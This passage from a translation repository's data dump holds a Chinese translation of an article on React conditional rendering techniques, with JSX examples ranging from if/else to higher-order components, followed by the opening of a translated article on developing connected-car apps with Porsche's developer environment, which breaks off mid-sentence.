'view') {\n      return null;\n    } else {\n      return (\n          <p>\n            <input\n              onChange={this.handleChange}\n              value={this.state.inputText}\n            />\n          </p>\n      );\n    }\n  }\n  \n  renderButton() {\n    if(this.state.mode === 'view') {\n      return (\n          <button onClick={this.handleEdit}>\n            Edit\n          </button>\n      );\n    } else {\n      return (\n          <button onClick={this.handleSave}>\n            Save\n          </button>\n      );\n    }\n  }\n  \n  render () {\n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        {this.renderInputField()}\n        {this.renderButton()}\n      </div>\n    );\n  }\n}\n\nReactDOM.render(\n  <App />,\n  document.getElementById('root')\n);\n```\n\n返回 `null` 来替代一个空元素的优势在于这将会对组建的性能有一些改善，因为 React 不必要解绑组件来替换它。\n\n例如，当执行返回空 `div` 元素的代码时，打开检阅页面元素，将会看到在跟元素下的 `div` 元素是如何被刷新的：\n\n![](https://cdn-images-1.medium.com/max/800/0*1f--Ics8DXB3UFp_.)\n\n对比这个例子，当返回 `null` 来隐藏组件时，`Edit` 按钮被点击时 `div` 元素是不更新的：\n\n![](https://cdn-images-1.medium.com/max/800/0*7SzdmNMiVje-msFz.)\n\n[这里](https://reactjs.org/docs/reconciliation.html)，你将明白更多关于 React 是如何更新 DOM 元素的和“对比”算法是如何运行的。\n\n可能在这个简单的例子中，性能的改善是微不足道的，但是当在一个需要频繁更新的组件中时，情况将是不一样的。\n\n稍后会详细讨论条件渲染的性能影响。现在，让我们继续改进这个例子。\n\n### 元素变量\n\n我不喜欢的一件事是在一个方法中有不止一个 `return` 声明。\n\n所以我将会使用一个变量来存储 JSX 元素并且只有当条件判断为 `true` 的时候才初始化它：\n\n```\nrenderInputField() {\n    let input;\n    \n    if(this.state.mode !== 'view') {\n      input = \n        <p>\n          <input\n            onChange={this.handleChange}\n            value={this.state.inputText} />\n        </p>;\n    }\n      \n      return input;\n  }\n  \n  renderButton() {\n    let button;\n    \n    if(this.state.mode === 'view') {\n      button =\n          <button onClick={this.handleEdit}>\n            Edit\n          </button>;\n    } else {\n      button =\n          <button onClick={this.handleSave}>\n            Save\n          </button>;\n    }\n    \n    return button;\n  }\n```\n\n这样做是等同于那些返回 `null` 的方法的。\n\n以下是优化后的完整代码：\n\nBabel + JSX:\n\n```\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n    \n    this.handleChange = this.handleChange.bind(this);\n    this.handleSave = this.handleSave.bind(this);\n    this.handleEdit = this.handleEdit.bind(this);\n  }\n  \n  handleChange(e) {\n    this.setState({ inputText: e.target.value });\n  }\n  \n  handleSave() {\n    this.setState({text: this.state.inputText, mode: 'view'});\n  }\n\n  handleEdit() {\n    this.setState({mode: 'edit'});\n  }\n  \n  renderInputField() {\n    let input;\n    \n    if(this.state.mode !== 'view') {\n      input = \n        <p>\n          <input\n            onChange={this.handleChange}\n            value={this.state.inputText} />\n        </p>;\n    }\n      \n      return input;\n  }\n  \n  renderButton() {\n    let button;\n    \n    if(this.state.mode === 'view') {\n      button =\n          <button onClick={this.handleEdit}>\n            Edit\n          </button>;\n    } else {\n      button =\n          <button onClick={this.handleSave}>\n            Save\n          </button>;\n    }\n    \n    return button;\n  }\n  \n  render () {\n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        {this.renderInputField()}\n        {this.renderButton()}\n      </div>\n    );\n  }\n}\n\nReactDOM.render(\n  <App />,\n  document.getElementById('root')\n);\n```\n\n使用这种方式使主 `render` 方法更有可读性，但是可能并没有必要使用 if/else 判断（或者像 `switch` 这样的语句）和辅助的渲染方法。\n\n让我们尝试一种更简单的方法。\n\n### 三元运算符\n\n我们可以使用 [三元运算符](https://en.wikipedia.org/wiki/%3F:) 来代替 if/else 语句：\n\n```\ncondition ? expr_if_true : expr_if_false\n```\n\n该运算符用大括号包裹，表达式可以包含JSX，可选择将其包含在圆括号中以提高可读性。\n\n它可以应用于组件的不同部分。让我们将它应用到示例中，以便您可以看到这个实例。\n\n我将在 `render` 方法中删除 `renderInputField` 和 `renderButton`，并添加一个变量用来表示组件是在 `view` 还是 `edit` 模式：\n\n```\nrender () {\n  const view = this.state.mode === 'view';\n\n  return (\n      <div>\n      </div>\n  );\n}\n```\n\n现在，你可以使用三元运算符，当组件被设置为 `view` 模式时返回 `null`，否则返回输入框：\n\n```\n  // ...\n\n  return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        \n        {\n          view\n          ? null\n          : (\n            <p>\n              <input\n                onChange={this.handleChange}\n                value={this.state.inputText} />\n            </p>\n          )\n        }\n\n      </div>\n  );\n```\n\n使用三元运算符，你可以通过改变组件的事件处理函数和现实的标签文字来动态的声明它的按钮是保存还是编辑：\n\n```\n  // ...\n\n  return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        \n        {\n          ...\n        }\n\n        <button\n          onClick={\n            view \n              ? this.handleEdit \n              : this.handleSave\n          } >\n              {view ? 'Edit' : 'Save'}\n        </button>\n\n      </div>\n  );\n```\n\n正如前面所说，三元运算符可以应用在组件的不同位置。\n\n可以在 fiddle 中运行查看效果：\n\n[https://jsfiddle.net/eh3rrera/y6yff8rv/](https://jsfiddle.net/eh3rrera/y6yff8rv/)\n\n### 与运算符\n\n在某种特殊情况下，三元运算符是可以简化的。\n\n当你想要一种条件下渲染元素，另一种条件下不渲染元素时，你可以使用 `&&` 运算符。\n\n不同于 `&` 运算符，当左侧的表达式可以决定最终结果时，`&&` 是不会再执行右侧表达式的判断的。\n \n例如，如果第一个表达式被判定为 false（`false && …`），就没有必要再执行判断下一个表达式了，因为结果将永远是 `false`。\n\n在 React 中，你可以使用像下面这样的表达式：\n\n```\nreturn (\n    <div>\n        { showHeader && <Header /> }\n    </div>\n);\n```\n\n如果 `showHeader` 被判定为 `true`，`<Header/>` 组件将会被这个表达式返回。\n\n如果 `showHeader` 被判定为 `false`，`<Header/>` 组件将会被忽略并且一个空的 `div` 将会被返回。\n\n使用这种方式，下面的表达方式：\n\n```\n{\n  view\n  ? null\n  : (\n    <p>\n      <input\n        onChange={this.handleChange}\n        value={this.state.inputText} />\n    </p>\n  )\n}\n```\n\n可以被改写为：\n\n```\n!view && (\n  <p>\n    <input\n      onChange={this.handleChange}\n      value={this.state.inputText} />\n  </p>\n)\n```\n\n下面是可在 fiddle 中执行的完整代码：\n\nBanel + JSX:\n\n```\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n    \n    this.handleChange = this.handleChange.bind(this);\n    this.handleSave = this.handleSave.bind(this);\n    this.handleEdit = this.handleEdit.bind(this);\n  }\n  \n  handleChange(e) {\n    this.setState({ inputText: e.target.value });\n  }\n  \n  handleSave() {\n    this.setState({text: this.state.inputText, mode: 'view'});\n  }\n\n  handleEdit() {\n    this.setState({mode: 'edit'});\n  }\n  \n  render () {\n    const view = this.state.mode === 'view';\n    \n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        \n        {\n          !view && (\n            <p>\n              <input\n                onChange={this.handleChange}\n                value={this.state.inputText} />\n            </p>\n          )\n        }\n        \n        <button\n          onClick={\n            view \n              ? this.handleEdit \n              : this.handleSave\n          }\n        >\n          {view ? 'Edit' : 'Save'}\n        </button>\n      </div>\n    );\n  }\n}\n\nReactDOM.render(\n  <App />,\n  document.getElementById('root')\n);\n```\n\n看起来更好了，不是吗？\n\n然而，三元表达式不总是看起来这么好。\n\n考虑一组复杂的嵌套条件：\n\n```\nreturn (\n  <div>\n    { condition1\n      ? <Component1 />\n      : ( condition2\n        ? <Component2 />\n        : ( condition3\n          ? <Component3 />\n          : <Component 4 />\n        )\n      )\n    }\n  </div>\n);\n```\n\n这可能会很快变得混乱。\n\n出于这个原因，有时您可能想要使用其他技术，例如立即执行函数。\n\n### 立即执行函数表达式 (IIFE)\n\n顾名思义，立即执行函数就是在定义之后被立即调用的函数，他们不需要被显式地调用。\n\n通常情况下，你一般会这样定义并执行（定义后执行）一个函数：\n\n```\nfunction myFunction() {\n\n// ...\n\n}\n\nmyFunction();\n```\n\n但是如果你想要在定义后立即执行一个函数，你必须使用一对括号来包裹这个函数（把它转换成一个表达式）并且通过添加另外两个括号来执行它（括号里面可以传递函数需要的任何参数）。\n\n就像这样：\n\n```\n( function myFunction(/* arguments */) {\n    // ...\n}(/* arguments */) );\n```\n\n或者这样：\n\n```\n( function myFunction(/* arguments */) {\n    // ...\n} ) (/* arguments */);\n```\n\n因为这个函数不会在其他任何地方被调用，所以你可以省略函数名：\n\n```\n( function (/* arguments */) {\n    // ...\n} ) (/* arguments */);\n```\n\n或者你也可以使用箭头函数：\n\n```\n( (/* arguments */) => {\n    // ...\n} ) (/* arguments */);\n```\n\n在 React 中，你可以使用大括号来包裹立即执行函数，在函数内写所有你想要的逻辑（if/else、switch、三元运算符等等），然后返回任何你想要渲染的东西。\n\n例如， 下面的立即执行函数中就是如何判断渲染保存还是编辑按钮的逻辑：\n\n```\n{\n  (() => {\n    const handler = view \n                ? this.handleEdit \n                : this.handleSave;\n    const label = view ? 'Edit' : 'Save';\n          \n    return (\n      <button onClick={handler}>\n        {label}\n      </button>\n    );\n  })()\n} \n```\n\n下面是可以在 fiddle 中执行的完整代码：\n\nBabel + JSX:\n\n```\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n    \n    this.handleChange = this.handleChange.bind(this);\n    this.handleSave = this.handleSave.bind(this);\n    this.handleEdit = this.handleEdit.bind(this);\n  }\n  \n  handleChange(e) {\n    this.setState({ inputText: e.target.value });\n  }\n  \n  handleSave() {\n    this.setState({text: this.state.inputText, mode: 'view'});\n  }\n\n  handleEdit() {\n    this.setState({mode: 'edit'});\n  }\n  \n  render () {\n    const view = this.state.mode === 'view';\n    \n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        \n        {\n          !view && (\n            <p>\n              <input\n                onChange={this.handleChange}\n                value={this.state.inputText} />\n            </p>\n          )\n        }\n        \n        {\n          (() => {\n            const handler = view \n                ? this.handleEdit \n                : this.handleSave;\n            const label = view ? 'Edit' : 'Save';\n          \n            return (\n              <button onClick={handler}>\n                {label}\n              </button>\n            );\n          })()\n        }  \n      </div>\n    );\n  }\n}\n\nReactDOM.render(\n  <App />,\n  document.getElementById('root')\n);\n```\n\n```\n<div id=\"root\"></div>\n```\n\n### 子组件\n\n很多时候，立即执行函数看起来可能是一种不那么优雅的解决方案。\n\n毕竟，我们在使用 React，React 推荐使用的方案是将你的应用逻辑分解为尽可能多的组件，并且推荐使用函数式编程而非命令式编程。\n\n所以修改条件渲染逻辑为一个子组件，这个子组件会依据父组件传递的 props 来决定在不同情况下的渲染，这将会是一个更好的方案。\n\n但在这里，我将做一些有点不同的事情，向您展示如何从一个命令式的解决方案转向更多的声明式和函数式解决方案。\n\n我将从创建一个 `SaveComponent` 组件开始：\n\n```\nconst SaveComponent = (props) => {\n  return (\n    <div>\n      <p>\n        <input\n          onChange={props.handleChange}\n          value={props.text}\n        />\n      </p>\n      <button onClick={props.handleSave}>\n        Save\n      </button>\n    </div>\n  );\n};\n```\n\n正如函数式编程的属性，`SaveComponent` 的功能逻辑都来自于它接收的参数所指定的。同样的方式定义另一个组件 `EditComponent`：\n\n```\nconst EditComponent = (props) => {\n  return (\n    <button onClick={props.handleEdit}>\n      Edit\n    </button>\n  );\n};\n```\n\n现在 `render` 方法就会变成这样：\n\n```\nrender () {\n    const view = this.state.mode === 'view';\n    \n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        \n        {\n          view\n            ? <EditComponent handleEdit={this.handleEdit}  />\n            : (\n              <SaveComponent \n               handleChange={this.handleChange}\n               handleSave={this.handleSave}\n               text={this.state.inputText}\n             />\n            )\n        } \n      </div>\n    );\n}\n```\n\n下面是可以在 fiddle 中执行的完整代码：\n\nBabel + JSX:\n\n```\nconst SaveComponent = (props) => {\n  return (\n    <div>\n      <p>\n        <input\n          onChange={props.handleChange}\n          value={props.text}\n        />\n      </p>\n      <button onClick={props.handleSave}>\n        Save\n      </button>\n    </div>\n  );\n};\n\nconst EditComponent = (props) => {\n  return (\n    <button onClick={props.handleEdit}>\n      Edit\n    </button>\n  );\n};\n\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n    \n    this.handleChange = this.handleChange.bind(this);\n    this.handleSave = this.handleSave.bind(this);\n    this.handleEdit = this.handleEdit.bind(this);\n  }\n  \n  handleChange(e) {\n    this.setState({ inputText: e.target.value });\n  }\n  \n  handleSave() {\n    this.setState({text: this.state.inputText, mode: 'view'});\n  }\n\n  handleEdit() {\n    this.setState({mode: 'edit'});\n  }\n  \n  render () {\n    const view = this.state.mode === 'view';\n    \n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        \n        {\n          view\n            ? <EditComponent handleEdit={this.handleEdit}  />\n            : (\n              <SaveComponent \n               handleChange={this.handleChange}\n               handleSave={this.handleSave}\n               text={this.state.inputText}\n             />\n            )\n        } \n      </div>\n    );\n  }\n}\n\nReactDOM.render(\n  <App />,\n  document.getElementById('root')\n);\n```\n\n### If 组件\n\n有像 [jsx-control-statements](https://github.com/AlexGilleran/jsx-control-statements) 这样的库可以扩展JSX来添加如下条件语句：\n\n```\n<If condition={ true }>\n\n  <span>Hi!</span>\n\n</If>\n```\n\n这些库提供更高级的组件，但是如果我们需要简单的 if/else，我们可以参考 [Michael J. Ryan](https://github.com/tracker1) 在 [issue](https://github.com/facebook/jsx/issues/65) 下的 [评论](https://github.com/facebook/jsx/issues/65#issuecomment-255484351)：\n\n```\nconst If = (props) => {\n  const condition = props.condition || false;\n  const positive = props.then || null;\n  const negative = props.else || null;\n  \n  return condition ? positive : negative;\n};\n\n// …\n\nrender () {\n    const view = this.state.mode === 'view';\n    const editComponent = <EditComponent handleEdit={this.handleEdit}  />;\n    const saveComponent = <SaveComponent \n               handleChange={this.handleChange}\n               handleSave={this.handleSave}\n               text={this.state.inputText}\n             />;\n    \n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        <If\n          condition={ view }\n          then={ editComponent }\n          else={ saveComponent }\n        />\n      </div>\n    );\n}\n```\n\n下面是可以在 fiddle 中执行的完整代码：\n\nBabel + JSX:\n\n```\nconst SaveComponent = (props) => {\n  return (\n    <div>\n      <p>\n        <input\n          onChange={props.handleChange}\n          value={props.text}\n        />\n      </p>\n      <button onClick={props.handleSave}>\n        Save\n      </button>\n    </div>\n  );\n};\n\nconst EditComponent = (props) => {\n  return (\n    <button onClick={props.handleEdit}>\n      Edit\n    </button>\n  );\n};\n\nconst If = (props) => {\n  const condition = props.condition || false;\n  const positive = props.then || null;\n  const negative = props.else || null;\n  \n  return condition ? positive : negative;\n};\n\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n    \n    this.handleChange = this.handleChange.bind(this);\n    this.handleSave = this.handleSave.bind(this);\n    this.handleEdit = this.handleEdit.bind(this);\n  }\n  \n  handleChange(e) {\n    this.setState({ inputText: e.target.value });\n  }\n  \n  handleSave() {\n    this.setState({text: this.state.inputText, mode: 'view'});\n  }\n\n  handleEdit() {\n    this.setState({mode: 'edit'});\n  }\n  \n  render () {\n    const view = this.state.mode === 'view';\n    const editComponent = <EditComponent handleEdit={this.handleEdit}  />;\n    const saveComponent = <SaveComponent \n               handleChange={this.handleChange}\n               handleSave={this.handleSave}\n               text={this.state.inputText}\n             />;\n    \n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        <If\n          condition={ view }\n          then={ editComponent }\n          else={ saveComponent }\n        />\n      </div>\n    );\n  }\n}\n\nReactDOM.render(\n  <App />,\n  document.getElementById('root')\n);\n```\n\n### 高阶组件\n\n[高阶组件](https://reactjs.org/docs/higher-order-components.html)（HOC）是一个函数，它接收一个已经存在的组件并且基于这个组件返回一个新的带有更多附加功能的组件：\n\n```\nconst EnhancedComponent = higherOrderComponent(component);\n```\n\n应用于条件渲染时，一个组件被传递给一个高阶组件，高阶组件可以依据一些条件返回一个不同于原组件的组件：\n\n```\nfunction higherOrderComponent(Component) {\n  return function EnhancedComponent(props) {\n    if (condition) {\n      return <AnotherComponent { ...props } />;\n    }\n\n    return <Component { ...props } />;\n  };\n}\n```\n\n这里有一篇 [Robin Wieruch](https://www.robinwieruch.de/about/) 写的 [关于高阶组件的精彩好文](https://www.robinwieruch.de/gentle-introduction-higher-order-components/)，这篇文章深入讨论了高阶组件在条件渲染中的应用。\n\n在我们这篇文章中，我将会借鉴一些 `EitherComponent` 的概念。\n\n在函数式编程中，`Either` 这一类方法的实现通常是作为一个包装，来返回两个不同的值。\n\n所以让我们从定义一个接收两个参数的函数开始，另一个函数返回一个布尔值（判断条件的结果），如果这个布尔值为 `true` 则返回组件：\n\n```\nfunction withEither(conditionalRenderingFn, EitherComponent) {\n\n}\n```\n\n通常高阶组件的函数名都以 `with` 开头。\n\n这个函数将会返回另一个函数，这个被返回的函数接收一个原组件并返回一个新的组件：\n\n```\nfunction withEither(conditionalRenderingFn, EitherComponent) {\n    return function buildNewComponent(Component) {\n\n    }\n}\n```\n\n这个被一个内部函数返回的组件（函数）就是你将在你的应用中使用的，所以它接收一个对象，这个对象具有它运行所需的所有属性：\n\n```\nfunction withEither(conditionalRenderingFn, EitherComponent) {\n    return function buildNewComponent(Component) {\n        return function FinalComponent(props) {\n\n        }\n    }\n}\n```\n\n内部函数可以访问到外部函数的参数，因此，根据函数 `conditionalRenderingFn` 的返回值，你可以判断返回 `EitherComponent` 或者原 `Component`：\n\n```\nfunction withEither(conditionalRenderingFn, EitherComponent) {\n    return function buildNewComponent(Component) {\n        return function FinalComponent(props) {\n            return conditionalRenderingFn(props)\n                ? <EitherComponent { ...props } />\n                 : <Component { ...props } />;\n        }\n    }\n}\n```\n\n或者使用箭头函数：\n\n```\nconst withEither = (conditionalRenderingFn, EitherComponent) => (Component) => (props) =>\n  conditionalRenderingFn(props)\n    ? <EitherComponent { ...props } />\n    : <Component { ...props } />;\n```\n\n通过这个方式，使用原来定义的 `SaveComponent` 和 `EditComponent`，你可以创建一个 `withEditConditionalRendering` 高阶组件，并且通过它可以创建一个 `EditSaveWithConditionalRendering` 组件：\n\n```\nconst isViewConditionFn = (props) => props.mode === 'view';\n\nconst withEditContionalRendering = withEither(isViewConditionFn, EditComponent);\nconst EditSaveWithConditionalRendering = withEditContionalRendering(SaveComponent);\n```\n\n这样一来你就只需在render方法中使用该组件，并向它传递所有需要用到的属性：\n\n```\nrender () {    \n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        <EditSaveWithConditionalRendering \n               mode={this.state.mode}\n               handleEdit={this.handleEdit}\n               handleChange={this.handleChange}\n               handleSave={this.handleSave}\n               text={this.state.inputText}\n             />\n      </div>\n    );\n}\n```\n\n下面是可以在 fiddle 中执行的完整代码：\n\nBabel + JSX:\n\n```\nconst SaveComponent = (props) => {\n  return (\n    <div>\n      <p>\n        <input\n          onChange={props.handleChange}\n          value={props.text}\n        />\n      </p>\n      <button onClick={props.handleSave}>\n        Save\n      </button>\n    </div>\n  );\n};\n\nconst EditComponent = (props) => {\n  return (\n    <button onClick={props.handleEdit}>\n      Edit\n    </button>\n  );\n};\n\nconst withEither = (conditionalRenderingFn, EitherComponent) => (Component) => (props) =>\n  conditionalRenderingFn(props)\n    ? <EitherComponent { ...props } />\n    : <Component { ...props } />;\n\nconst isViewConditionFn = (props) => props.mode === 'view';\n\nconst withEditContionalRendering = withEither(isViewConditionFn, EditComponent);\nconst EditSaveWithConditionalRendering = withEditContionalRendering(SaveComponent);\n\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n    \n    this.handleChange = this.handleChange.bind(this);\n    this.handleSave = this.handleSave.bind(this);\n    this.handleEdit = this.handleEdit.bind(this);\n  }\n  \n  handleChange(e) {\n    this.setState({ inputText: e.target.value });\n  }\n  \n  handleSave() {\n    this.setState({text: this.state.inputText, mode: 'view'});\n  }\n\n  handleEdit() {\n    this.setState({mode: 'edit'});\n  }\n  \n  render () {    \n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        <EditSaveWithConditionalRendering \n               mode={this.state.mode}\n               handleEdit={this.handleEdit}\n               handleChange={this.handleChange}\n               handleSave={this.handleSave}\n               text={this.state.inputText}\n             />\n      </div>\n    );\n  }\n}\n\nReactDOM.render(\n  <App />,\n  document.getElementById('root')\n);\n```\n\n### 性能考量\n\n条件渲染可能是复杂的。就像前面我所展示的那样，每种方式的性能也可能是不同的。\n\n然而，在大多数时候这种差别是不成问题的。但当它确实造成问题时，你将需要深入理解 React 的虚拟 DOM 的工作原理，并且使用一些技巧来[优化性能](https://reactjs.org/docs/optimizing-performance.html)。\n\n这里有一篇关于很好的文章，关于 [优化React的条件渲染](https://medium.com/@cowi4030/optimizing-conditional-rendering-in-react-3fee6b197a20)，我非常推荐你读一下。\n\n基本的思想是条件渲染导致改变组件的位置将会引起回流，从而导致应用内组件的解绑/绑定。\n\n基于这篇文章的例子，我写了两个例子：\n\n第一个例子使用 if/else 来控制 `SubHeader` 组件的显示/隐藏：\n\nBabel + JSX:\n\n```\nconst Header = (props) => {\n  return <h1>Header</h1>;\n}\n\nconst Subheader = (props) => {\n  return <h2>Subheader</h2>;\n}\n\nconst Content = (props) => {\n  return <p>Content</p>;\n}\n\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {isToggleOn: true};\n    \n    this.handleClick = this.handleClick.bind(this);\n  }\n  \n  handleClick() {\n    this.setState(prevState => ({\n      isToggleOn: !prevState.isToggleOn\n    }));\n  }\n  \n  render() {\n    if(this.state.isToggleOn) {\n      return (\n        <div>\n          <Header />\n          <Subheader /> \n          <Content />\n          <button onClick={this.handleClick}>\n            { this.state.isToggleOn ? 'ON' : 'OFF' }\n          </button>\n        </div>\n      );\n    } else {\n      return (\n        <div>\n          <Header />\n          <Content />\n          <button onClick={this.handleClick}>\n            { this.state.isToggleOn ? 'ON' : 'OFF' }\n          </button>\n        </div>\n      );\n    }\n  }\n}\n\nReactDOM.render(\n    <App />,\n  document.getElementById('root')\n);\n```\n\n第二个例子使用与运算（`&&`）做同样的事情：\n\nBabel + JSX:\n\n```\nconst Header = (props) => {\n  return <h1>Header</h1>;\n}\n\nconst Subheader = (props) => {\n  return <h2>Subheader</h2>;\n}\n\nconst Content = (props) => {\n  return <p>Content</p>;\n}\n\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {isToggleOn: true};\n    \n    this.handleClick = this.handleClick.bind(this);\n  }\n  \n  handleClick() {\n    this.setState(prevState => ({\n      isToggleOn: !prevState.isToggleOn\n    }));\n  }\n  \n  render() {\n    return (\n      <div>\n        <Header />\n        { this.state.isToggleOn && <Subheader /> }\n        <Content />\n        <button onClick={this.handleClick}>\n          { this.state.isToggleOn ? 'ON' : 'OFF' }\n        </button>\n      </div>\n    );\n  }\n}\n\nReactDOM.render(\n    <App />,\n  document.getElementById('root')\n);\n```\n\n打开元素检查并且点击几次按钮。\n\n你将看到在每一种实现中 `Content` 是被如何处理的。\n\n### 结论\n\n就像编程中的很多事情一样，在 React 中有很多种方式实现条件渲染。\n\n我会说除了第一种方式（有多种返回的if/else），你可以任选你喜欢的方式。\n\n基于下面的原则，你可以决定哪一种方式在你的实际情况中是最好的：\n\n*   你的编程风格\n*   条件逻辑的复杂程度\n*   使用 JavaScript、JSX和高级的 React 概念（比如高阶组件）的舒适度。\n\n如果所有的事情都是相当的，那么就追求简明度和可读性。\n\n* * *\n\n### Plug: LogRocket, a DVR for web apps\n\n[![](https://cdn-images-1.medium.com/max/1000/1*s_rMyo6NbrAsP-XtvBaXFg.png)](http://logrocket.com)\n\n[LogRocket](https://logrocket.com) 是一款前端日志工具，能够在你自己的浏览器上复现问题。而不是去猜为什么发生错误或者向用户要截图和日志，LogRocket 帮助你复现场景来快速理解发生了什么错误。 它适用于任何应用程序，且和框架无关，并且具有从Redux，Vuex和@ngrx/store记录其他上下文的插件。\n\n除了记录Redux动作和状态之外，LogRocket 还记录控制台日志，JavaScript 错误，堆栈跟踪，带有头信息+主体的网络请求/响应，浏览器元数据和自定义日志。它还可以检测 DOM 来记录页面上的 HTML 和 CSS，即使是最复杂的单页面应用，也能还原出像素级的视频。\n\n免费试用。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/connected-cars-what-are-they-and-how-to-get-started-developing-connected-car-apps.md",
    "content": "> * 原文地址：[Connected cars 🏎 — what are they and how to get started developing connected car apps](https://hackernoon.com/connected-cars-what-are-they-and-how-to-get-started-developing-connected-car-apps-5c6fbbf1f157)\n> * 原文作者：[Indrek Lasn](https://hackernoon.com/@wesharehoodies?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/connected-cars-what-are-they-and-how-to-get-started-developing-connected-car-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO1/connected-cars-what-are-they-and-how-to-get-started-developing-connected-car-apps.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[luochen1992](https://github.com/luochen1992) [allenlongbaobao](https://github.com/allenlongbaobao)\n\n# 互联汽车是什么以及如何开发用于它的应用？\n\n![](https://cdn-images-1.medium.com/max/2000/1*12wBTceui8136CzD6OiIvQ.png)\n\n未来汽车肯定会非常便捷 —— 从用手机直接发动汽车、走到车辆附近车门就会自动打开，到当你太累无法安全驾驶就会给你提醒。\n\n那什么是互联汽车呢？维基百科的解释如下：\n\n> **互联汽车**是可以连接到 [互联网](https://en.wikipedia.org/wiki/Internet) 并配备 [本地无线局域网](https://en.wikipedia.org/wiki/Wireless_local_area_network) 的 [车辆](https://en.wikipedia.org/wiki/Car) <sup><a href=\"https://en.wikipedia.org/wiki/Connected_car#cite_note-1\">[1]</a></sup><sup><a href=\"https://en.wikipedia.org/wiki/Connected_car#cite_note-2\">[2]</a></sup>。因此车辆可以和其他车内或是车外的设备分享网络资源。\n\n毫无疑问，未来汽车的发展趋势就是互联和电动 —— 如特斯拉和保时捷这样的顶级汽车品牌都各自推出了像 Model S 和 Mission E 这样优秀的电动互联汽车。\n\n![](https://cdn-images-1.medium.com/max/800/1*rg5RTZz36b3uDlNFyO-ZLw.jpeg)\n\n像我们真的生活在未来一样 —— 很酷吧？\n\n![](https://cdn-images-1.medium.com/max/800/1*IKj1zBUxGRi8KJyZRDttQg.png)\n\n保时捷 Mission E 的内饰。\n\n![](https://cdn-images-1.medium.com/max/800/1*IcHcbtfttiloO0g79oxuDQ.jpeg)\n\n特斯拉 Model S 在充电。\n\n![](https://cdn-images-1.medium.com/max/800/1*b5UsurrQR5r0WfmQdzCJ8w.png)\n\n特斯拉 Model S 的内饰。\n\n我对汽车了解不多，但通过互联汽车我们可以挽救生命，创造一个生态和地理都更友好的环境，让交通更安全，我们都会从中受益。\n\n驾驶或乘坐互联汽车时，我们终于可以浏览手机中喜欢的内容而不用担心发生交通事故了。\n\n### 开始开发互联应用\n\n我们使用 [保时捷开发环境](http://www.porsche-next-oi-competition.com/)，因为据我所知这是最先进的软件开发工具包**（SDK）** —— 你也可以评论留下你喜欢的互联汽车软件开发工具包。🙂\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*WGgGSvhOqtub4c9A5gL2Zg.jpeg)\n\n注册保时捷开发环境的账号。\n\n为什么它是最先进的？因为他们会将用于所有连接汽车的 API 实现标准化。\n\n现在每个平台都有自己的 API，意味着每个平台你都要去学习不同的 API —— 还可能和新的标准不兼容！\n\n点击 `register` 按钮后，你会看见一个表单，如果你想跟随我们的例子，请填写注册表格。\n\n![](https://cdn-images-1.medium.com/max/800/1*VDeaEEOZkcJNdc10iO2Wlw.png)\n\n注册完成后，你会看见如下界面：\n\n![](https://cdn-images-1.medium.com/max/800/1*nixNnTtGS0rpma2uFY3R0g.png)\n\n我们先创建一个项目。需要准备如下内容：\n\n* 一个项目（应用程序要连接到项目）\n* 一个应用（一个项目可以有多个应用）\n* 一辆车（将车辆连接到应用）\n\n简而言之，先创建一个项目、应用和车辆。然后将应用连接到项目，车辆连接到应用。逻辑如下：\n\n**项目** **⟵** **应用** **⟵** **车辆**\n\n![](https://cdn-images-1.medium.com/max/800/1*44xqjBlq7MV1PLTZNaVAEw.png)\n\n创建一个名为“Mario 